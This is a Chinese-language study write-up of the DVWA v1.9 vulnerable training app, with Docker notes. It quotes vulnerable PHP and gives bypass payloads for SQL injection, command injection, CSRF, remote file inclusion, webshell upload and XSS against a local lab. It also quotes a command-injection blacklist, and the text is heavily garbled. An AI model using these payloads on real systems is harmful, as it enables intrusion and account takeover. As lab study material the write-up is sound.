由DVWA_v1.9學(xué)習(xí)代碼審計(jì)筆記

Docker介紹

用的是 win10 x64位版本拔莱,推薦在powershell下運(yùn)行(可以解決某些腳本或指令無法運(yùn)行的問題鞠绰。)
https://github.com/docker/for-win/issues
本地安裝默認(rèn)在C盤,由win10自帶的 hper-v模擬一個(gè)linux環(huán)境安裝驼卖。右擊docker圖標(biāo)下載Docker for Windows 的 GUI 管理工具 Kitematic积蔚,解壓安裝在C盤docker的目錄下浮入。

國外鏡像源pull太慢的話可以設(shè)置為國內(nèi)的加速器,在docker daemon 的"registry-mirrors": ["https://stx13k4e.mirror.aliyuncs.com"] 數(shù)組里添加國內(nèi)阿里云鏡像加速器
vi 輸入i進(jìn)入編輯模式 ESC后進(jìn)入命令模式 :wq

附一些docker 在windows下常用命令筆記說明:
docker run -t -i <image> 用鏡像創(chuàng)建一個(gè)容器
docker run -it ubuntu bash 在bash命令行進(jìn)入ubuntu做粤;exit退出
docker start <container id> 開始該容器
docker stop <container id> 停止該容器
docker pull image 拉拽鏡像
docker images 查看可用鏡像
docker ps 查看運(yùn)行的容器
docker ps -a 查看所有的容器
docker rmi <image name>刪除鏡像
docker rm <container id>刪除容器
docker rm (docker ps -a -q) 刪除當(dāng)前所有容器
docker save -o <保存文件名(.tar)或路徑> <要保存的鏡像名> 導(dǎo)出鏡像文件
docker load --input <要載入的文件名(.tar)或路徑> 導(dǎo)入鏡像文件

docker commit <容器id> <新名字>創(chuàng)建當(dāng)前運(yùn)行鏡像的新的鏡像(包含改變)
docker attach <container id>與該容器交互
docker pull private-registry.com/user-name/ubuntu:latest 從私有Registry上拉取鏡像docker tag dvwa1.9_win10 euphrat1ca/dvwa1.9_win10 給鏡像加上標(biāo)簽
docker login 登錄到dockerhub
docker push euphrat1ca/ubuntu_cn 上傳到dockerhub
docker inspect --format='{{.NetworkSettings.IPAddress}}' $(docker ps -a -q) 查看所有容器ip
docker cp [OPTIONS] <container Id>:本機(jī)文件路徑

docker cp [OPTIONS] 本機(jī)文件路徑 <container Id>:容器中文件路徑

docker exec -it <container id> /bin/sh 與容器交互
docker inspect <container id> 容器信息
docker build -t apache-php2 . Dockerfile創(chuàng)建鏡像
docker tag <container id> username/name:devel 修改鏡像的標(biāo)簽
docker run -d -p 80:80 端口映射(-d守護(hù)進(jìn)程)
docker run -it <images-name> env 查看HTTP_PROXY
, http_proxy

和no_proxy
的環(huán)境變量設(shè)置#由DVWA學(xué)習(xí)代碼審計(jì)

Brute Force

low

<?php
if(isset($_GET['Login'])){
//Getusername
$user=$_GET['username'];
//Getpassword
$pass=$_GET['password'];
$pass=md5($pass);
//Checkthedatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");
//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}
mysql_close();
}
?>

只對pass做了MD5處理避免了代碼執(zhí)行浇借,但是對username沒做過濾。所以可以用admin'# 或 admin'or'1'='1("SELECT * FROM users WHERE user = 'admin'#' AND password = '$pass';" 第二個(gè)同理)繞過怕品。

media

<?php
if(isset($_GET['Login'])){
//Sanitiseusernameinput
$user=$_GET['username'];
$user=mysql_real_escape_string($user);
//Sanitisepasswordinput
$pass=$_GET['password'];
$pass=mysql_real_escape_string($pass);
$pass=md5($pass);
//Checkthedatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");
//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
sleep(2);
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}
mysql_close();
}
?>

增加了mysql_real_escape_string函數(shù)妇垢,這個(gè)函數(shù)會(huì)對字符串中的特殊符號(x00,n,r闯估,恢总,’,”睬愤,x1a)進(jìn)行轉(zhuǎn)義片仿,基本上能夠抵御sql注入攻擊,但是類似addslashes和mysql_real_escape_string網(wǎng)上已有繞過的辦法尤辱。同時(shí)砂豌,$pass做了MD5校驗(yàn),杜絕了通過參數(shù)password進(jìn)行sql注入的可能性光督。但是阳距,依然沒有加入有效的防爆破機(jī)制(sleep(2)只不過耽擱會(huì))。

high

<?php
if(isset($_GET['Login'])){
//CheckAnti-CSRFtoken
checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');
//Sanitiseusernameinput
$user=$_GET['username'];
$user=stripslashes($user);
$user=mysql_real_escape_string($user);
//Sanitisepasswordinput
$pass=$_GET['password'];
$pass=stripslashes($pass);
$pass=mysql_real_escape_string($pass);
$pass=md5($pass);
//Checkdatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");
//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
sleep(rand(0,3));
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}
mysql_close();
}
//GenerateAnti-CSRFtoken
generateSessionToken();
?>

High級別的代碼加入了Token结借,可以抵御CSRF攻擊筐摘,同時(shí)也增加了爆破的難度。不過類似addslashes和mysql_real_escape_string網(wǎng)上已有繞過的辦法船老。通過Burp抓包咖熟,可以看到,登錄驗(yàn)證時(shí)提交了四個(gè)參數(shù):username柳畔、password馍管、Login以及user_token。不過token是可以在頁面上抓取的薪韩。

impossible

增加了放暴破設(shè)置确沸,同時(shí)使用了更為安全的PDO(PHP Data Object)機(jī)制防御sql注入(PDO擴(kuò)展本身執(zhí)行任何數(shù)據(jù)庫操作)

命令執(zhí)行注入

low

// Get input
    $target = $_REQUEST[ 'ip' ];
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";

對輸入的命令沒有過濾,直接進(jìn)行參數(shù)的傳遞俘陷÷奚樱可以通過用“&&”和“;”來執(zhí)行額外的命令 ping 127.0.0.1&&net user

medium

只不過是加入了一些黑名單的過濾,但是仍然不完全拉盾,比如網(wǎng)上給出的例子 ping 127.0.01 || net user ("||"的意思是前一個(gè)命令失敗則執(zhí)行下一個(gè)命令)桨菜。所以黑名單是過濾不完的

high

'&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',

黑名單列表更多了一點(diǎn),同medium理盾剩。

impossible

// Split the IP into 4 octects
    $octet = explode( ".", $target );
    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

這個(gè)就有點(diǎn)喪心病狂了雷激,將IP以“.”分片后,分別來判斷數(shù)據(jù)類型

CSRF 跨站請求偽造

low

<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {        #檢查兩個(gè)參數(shù)是否相同
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );        #過濾非法字符告私,可嘗試?yán)@過
        $pass_new = md5( $pass_new );
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
        // Feedback for the user         #如果相同則更改密碼
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }
    mysql_close();
}
?>
  1. http://localhost:32774/dvwa/vulnerabilities/csrf/?password_new=password1&password_conf=password1&Change=Change#屎暇,構(gòu)造此連接誘使他人管理員點(diǎn)擊則可將密碼更改為password1,前提是管理員使用了相同的瀏覽器打開(利用瀏覽器中的cookies)
  2. 攻擊利用可通過網(wǎng)上的短網(wǎng)址服務(wù)對這串網(wǎng)址進(jìn)行縮減驻粟「浚或者利用構(gòu)造釣魚網(wǎng)站或頁面凶异,在其中插入這段利用網(wǎng)址誘使管理員點(diǎn)擊。

media

<?php
 
if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {        #eregi()功能:字符串比對解析挤巡,與大小寫無關(guān)剩彬。
        // Get input 
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
 
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = mysql_real_escape_string( $pass_new );
            $pass_new = md5( $pass_new );
 
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
 
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }
 
    mysql_close();
}
 
?>
  1. eregi()檢查了保留變量 HTTP_REFERER中是否包含SERVER_NAME
  1. 驗(yàn)證是否包含了上圖如主機(jī)名等關(guān)鍵字,如果沒有則判斷失敗矿卑。只需要在http包中加入關(guān)鍵字即可繞過喉恋,比如構(gòu)造的攻擊頁面名即為主機(jī)名loclahost:32774.html

high

if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token        #用戶每次訪問頁面都會(huì)產(chǎn)生一個(gè)隨機(jī)token,發(fā)起請求時(shí)先驗(yàn)證token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

  1. 加入了 token驗(yàn)證
  2. 利用方面可以通過向目標(biāo)主機(jī)植入木馬獲取token并更改密碼母廷,或者利用存儲(chǔ)型XSS獲取token

impossible

1.加入了要求輸入原密碼的驗(yàn)證轻黑,簡單粗暴。使用了PDO防注入

file inclusion文件包含

low

$file = $_GET[ 'page' ]; 
  1. 可在鏈接 http://localhost:32774/dvwa/vulnerabilities/fi/?page=file1.php “=”后面跟文件路徑讀取服務(wù)器本地文件 linux / win \ ..跨目錄
  2. 當(dāng)服務(wù)器的php配置中琴昆,選項(xiàng)allow_url_fopen與allow_url_include為開啟狀態(tài)時(shí)氓鄙,服務(wù)器會(huì)允許包含遠(yuǎn)程服務(wù)器上的文件,如果對文件來源沒有檢查的話业舍,就容易導(dǎo)致任意遠(yuǎn)程代碼執(zhí)行抖拦。 localhost:32774/dvwa/vulnerabilities/fi/?page=http://xxx.com/1.txt

media

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
  1. 使用str_replace()函數(shù),對參數(shù)中的某些字符替換為空字符舷暮。 page=hthttp://tp://xxx.com/1.txt ,利用雙寫繞過規(guī)則态罪,替換后則正好構(gòu)成鏈接,遠(yuǎn)程執(zhí)行命令脚牍。本地文件包含同理向臀。且絕對路徑不受影響。

high

if( !fnmatch( "file*", $file ) && $file != "include.php" ) 
  1. 使用了fnmatch()函數(shù)诸狭,要求提交的url中必須包含為file開頭,可以利用windows下的 File協(xié)議君纫,基本的格式如下:file:///文件路徑

impossible

if($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){

采用白名單驗(yàn)證驯遇,要求提交的參數(shù)必須包括這三個(gè)之一

file upload文件上傳

low

$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
 
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
  1. 這里對上傳的文件沒有做任何的限制,而且最后還會(huì)判斷是否上傳成功并返回上傳路徑蓄髓。所以直接上傳一句話用菜刀連接就可以了叉庐。

media

    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
 
    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
  1. 代碼對名稱、類型和大小做了限制会喝,要求文件類型必須是jpeg或者png陡叠,大小不能超過100000B(約為97.6KB)。
  2. 這里我們選擇講一句話木馬的后綴改為 “.jpg”肢执,然后上傳的時(shí)候用burp更改上傳文件類型(記得檢查長度“Content-Length:”)
  3. 接著用菜刀連接即可枉阵。
  4. 在php版本小于5.3.4的服務(wù)器中,當(dāng)Magic_quote_gpc選項(xiàng)為off時(shí)预茄,可以在文件名中使用%00截?cái)嘈肆铮钥梢园焉蟼魑募麨閥ijuhua.php%00.png

high

strrpos( $uploaded_name, '.' )
strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

  1. 第一個(gè)strrpos()先讀取上傳文件最后一個(gè)“.”后的文件名,最后在與上傳文件的最后文件名比對,如果相同才可以上傳拙徽。
  2. getimagesize( )函數(shù)會(huì)讀取文件的頭信息刨沦,要求頭信息必須為jpg、png膘怕、jpeg的圖片想诅。
  3. 網(wǎng)上給出的是用文件包含和%00截?cái)嗪兔钚凶⑷胫苯痈拿郑@里我可能是因?yàn)榕渲脝栴}一直沒成功岛心。

impossible

$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

// Generate Anti-CSRF token
generateSessionToken();

  1. 增加了文件名的md5驗(yàn)證来破,審核了文件內(nèi)容,最后也加入了token驗(yàn)證鹉梨。導(dǎo)致攻擊者無法上傳惡意腳本讳癌。

第六個(gè)不安全的驗(yàn)證碼

  1. 因?yàn)槲铱赡芘渲糜悬c(diǎn)問題,這里沒辦法實(shí)驗(yàn)╮(╯▽╰)╭
  2. 大概思路和CSRF套路一樣存皂,更改密碼時(shí)需要提交驗(yàn)證碼晌坤,構(gòu)造釣魚頁面向用戶發(fā)送含有更改密碼連接的頁面誘使其點(diǎn)擊。

sql injection sql注入

手工注入思路:
1.判斷是否存在注入旦袋,注入是字符型還是數(shù)字型
2.猜解SQL查詢語句中的字段數(shù)
3.確定顯示的字段順序
4.獲取當(dāng)前數(shù)據(jù)庫
5.獲取數(shù)據(jù)庫中的表
6.獲取表中的字段名
7.下載數(shù)據(jù)

low

$id = $_REQUEST[ 'id' ];
 
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
  1. 對來自客戶端的參數(shù)“id”沒有進(jìn)行任何的過濾骤菠,直接查詢。
  2. 先通過 “?id=1 and 1=1”與“?id=1' and 1=1’”判斷出為字符型注入(1為數(shù)字疤孕,2為字符)

media

mysql_real_escape_string( $id )
  1. 使用mysql_real_escape_string()函數(shù)對id中的特殊符號進(jìn)行轉(zhuǎn)義商乎。使用了下來菜單的方式限制了輸入,但是用burp抓包以后依然可以提交特殊語句祭阀。
  2. 根據(jù)提交特殊語句判斷為數(shù)字型注入
  3. 在諸如過程中也許會(huì)遇到特殊字符轉(zhuǎn)義鹉戚,可以用二進(jìn)制的方式跳過,如 ’users ’ = 0×7573657273

high

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
  1. LIMT 1 限制每次只出現(xiàn)一個(gè)結(jié)果专控,但是可以通過 “#”將其注釋掉

impossible

// Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();
 
        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];
  1. 采用了PDO技術(shù)將代碼與數(shù)據(jù)分離開抹凳,而且確保只有在數(shù)據(jù)為一行的情況下才可以輸出。最后加入了token驗(yàn)證伦腐。

sql injection blind sql盲注

原理和sql注入類似赢底,但是隱藏了錯(cuò)誤信息,只返回對柏蘑、錯(cuò)

XSS(Reflected) 反射性XSS

low

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
  1. 對參數(shù)未做任何處理幸冻,直接顯示
  2. <script>alert("XSS");</script> 驗(yàn)證成功,彈出提示框咳焚。

media

$name = str_replace( '<script>', '', $_GET[ 'name' ] );
  1. 對參數(shù)做了'<script>'過濾轉(zhuǎn)換為空 <sc<script>ript>洽损,將頭轉(zhuǎn)換即可。

high

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] )
  1. 使用正則對特殊字符進(jìn)行了轉(zhuǎn)義黔攒。
  2. 所有包含這些特殊字符的語句都失效趁啸。

impossible

$name = htmlspecialchars( $_GET[ 'name' ] ); 
// Generate Anti-CSRF token 
generateSessionToken(); 
  1. 加入了token驗(yàn)證和强缘,繞過 htmlspecialchars()函數(shù)的具體方法網(wǎng)上還是有的,htmlspecialchars()函數(shù)只對&不傅、’旅掂、”、<访娶、>符號進(jìn)行轉(zhuǎn)譯成html特殊符號商虐,我們可以通過url編碼對帶有連接的標(biāo)記進(jìn)行攻擊:<a href="<?php echo htmlspecialchars("javascript:alert(1)",ENT_QUOTES); ?>">a</a>

XSS stored 存儲(chǔ)型XSS

low

stripslashes( $message );
  1. stripslashes函數(shù)表示:去除字符串中的反斜線字符,如果有兩個(gè)連續(xù)的反斜線崖疤,則只去掉一個(gè)秘车。除了這個(gè)以后則對參數(shù)沒有進(jìn)行其它的過濾。

media

  1. 主要思路和反射型類似劫哼,都只是轉(zhuǎn)義了一個(gè)<script>

其它兩個(gè)等級也類似叮趴。

http://www.freebuf.com/sectool/102661.html

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市权烧,隨后出現(xiàn)的幾起案子眯亦,更是在濱河造成了極大的恐慌,老刑警劉巖般码,帶你破解...
    沈念sama閱讀 216,843評論 6 502
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件妻率,死亡現(xiàn)場離奇詭異,居然都是意外死亡板祝,警方通過查閱死者的電腦和手機(jī)宫静,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,538評論 3 392
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來券时,“玉大人孤里,你說我怎么就攤上這事¢俣矗” “怎么了扭粱?”我有些...
    開封第一講書人閱讀 163,187評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長震檩。 經(jīng)常有香客問我,道長蜓堕,這世上最難降的妖魔是什么抛虏? 我笑而不...
    開封第一講書人閱讀 58,264評論 1 292
  • 正文 為了忘掉前任,我火速辦了婚禮套才,結(jié)果婚禮上迂猴,老公的妹妹穿的比我還像新娘。我一直安慰自己背伴,他們只是感情好沸毁,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,289評論 6 390
  • 文/花漫 我一把揭開白布峰髓。 她就那樣靜靜地躺著,像睡著了一般息尺。 火紅的嫁衣襯著肌膚如雪携兵。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,231評論 1 299
  • 那天搂誉,我揣著相機(jī)與錄音徐紧,去河邊找鬼。 笑死炭懊,一個(gè)胖子當(dāng)著我的面吹牛并级,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播侮腹,決...
    沈念sama閱讀 40,116評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼嘲碧,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了父阻?” 一聲冷哼從身側(cè)響起愈涩,我...
    開封第一講書人閱讀 38,945評論 0 275
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎至非,沒想到半個(gè)月后钠署,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,367評論 1 313
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡荒椭,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,581評論 2 333
  • 正文 我和宋清朗相戀三年谐鼎,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片趣惠。...
    茶點(diǎn)故事閱讀 39,754評論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡狸棍,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出味悄,到底是詐尸還是另有隱情草戈,我是刑警寧澤,帶...
    沈念sama閱讀 35,458評論 5 344
  • 正文 年R本政府宣布侍瑟,位于F島的核電站唐片,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏涨颜。R本人自食惡果不足惜费韭,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,068評論 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望庭瑰。 院中可真熱鬧星持,春花似錦、人聲如沸弹灭。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,692評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至逻翁,卻和暖如春饥努,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背卢未。 一陣腳步聲響...
    開封第一講書人閱讀 32,842評論 1 269
  • 我被黑心中介騙來泰國打工肪凛, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人辽社。 一個(gè)月前我還...
    沈念sama閱讀 47,797評論 2 369
  • 正文 我出身青樓伟墙,卻偏偏與公主長得像,于是被迫代替她去往敵國和親滴铅。 傳聞我的和親對象是個(gè)殘疾皇子戳葵,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,654評論 2 354

推薦閱讀更多精彩內(nèi)容

  • 轉(zhuǎn)載自 http://blog.opskumu.com/docker.html 一、Docker 簡介 Docke...
    極客圈閱讀 10,499評論 0 120
  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理汉匙,服務(wù)發(fā)現(xiàn)拱烁,斷路器,智...
    卡卡羅2017閱讀 134,652評論 18 139
  • Docker — 云時(shí)代的程序分發(fā)方式 要說最近一年云計(jì)算業(yè)界有什么大事件噩翠?Google Compute Engi...
    ahohoho閱讀 15,532評論 15 147
  • 這段時(shí)間有位朋友要離開北京回老家了戏自,原來是母親到醫(yī)院查出了癌癥,雖然還不知道是良性還是惡性伤锚,但作為獨(dú)子的他必須得回...
    果昊媽媽閱讀 116評論 0 0
  • 看著丫頭的一點(diǎn)一點(diǎn)進(jìn)步擅笔,還是很高興的!仔細(xì)分析老師發(fā)給的班級分?jǐn)?shù)統(tǒng)計(jì)表屯援,看看丫頭的排名介于一本和二本之間!再和舒中...
    苗老師閱讀 116評論 0 0